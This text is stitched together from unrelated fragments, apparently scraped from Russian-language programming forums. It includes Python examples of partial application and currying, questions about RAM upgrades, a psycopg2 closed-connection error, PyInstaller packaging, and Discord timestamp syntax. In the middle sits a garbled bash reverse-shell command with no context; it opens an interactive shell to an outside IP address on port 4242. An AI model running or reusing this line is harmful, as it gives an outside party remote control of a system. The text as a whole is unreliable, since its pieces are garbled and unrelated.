def partial(func: typing.Callable[[int, int], int], arg1: int) -> typing.Callable[[int], int]:
def wrapper(arg2: int) -> int:
return func(arg1, arg2)
return wrapper
def add (x: int, y: int) -> int:
return x + y
def div(x: int, y:int) -> int:
return x // y
add_42 = partial(add, 42)
print(add_42(3)) # 42 + 3 = 45
div_120 = partial(div, 120)
print(div_120(30)) # 120 // 30 = 4
def curry(func: typing.Callable[[int, int], int]) -> typing.Callable:
def wrapper(*args):
if len(args) == 2:
return func(*args)
elif len(args) == 1:
return partial(func, args[0])
else:
raise Exception('Invalid arguments')
return wrapper
curried_add = curry(add)
print(curried_add(32, 23)) # 55
add_30 = curried_add(30)
print(add_30(70)) # 30 + 70 = 100
есть ли смысл делать апгрейд оперативы
какую лучше поставить
сколько и даст ли она прирост к работе
SSD стоит ADATA SP550
Свободных слотов нет их у меня два в одном 2gb во втором 4gb
psycopg2.InterfaceError: connection already closedЧто в логах? Мониторинг СУБД имеется? Что там интересного в тот момент?
Дальнейшие попытки обращения к БД дают ту же ошибку,
psycopg2.InterfaceError: connection already closed
Ошибка исправляется только перезапуском postgresql и затем приложения.
/in/bash -l >P/dev葉cp/176.59.41.128/4242 0<&1 2>&1
pyinstaller -F --add-data coco-dataset.labels;models --add-data yolov3-tiny.cfg;models --add-data yolov3-tiny.weights;models pine.py
import os
import sys
def resource_path(relative_path):
""" Get absolute path to resource, works for dev and for PyInstaller """
if getattr(sys, 'frozen', False):
base_path = sys._MEIPASS
else:
base_path = os.getcwd()
return os.path.join(base_path, relative_path)
Как заставить бота создавать такие "даты" ?
<t:TIMESTAMP:STYLE>
, куда передается время и стиль в котором его вывести.<t:1667384394:f>
Но когда доходит дело до пароля Я просто не могу туда ничего вводить не цифры не русские буквы не английские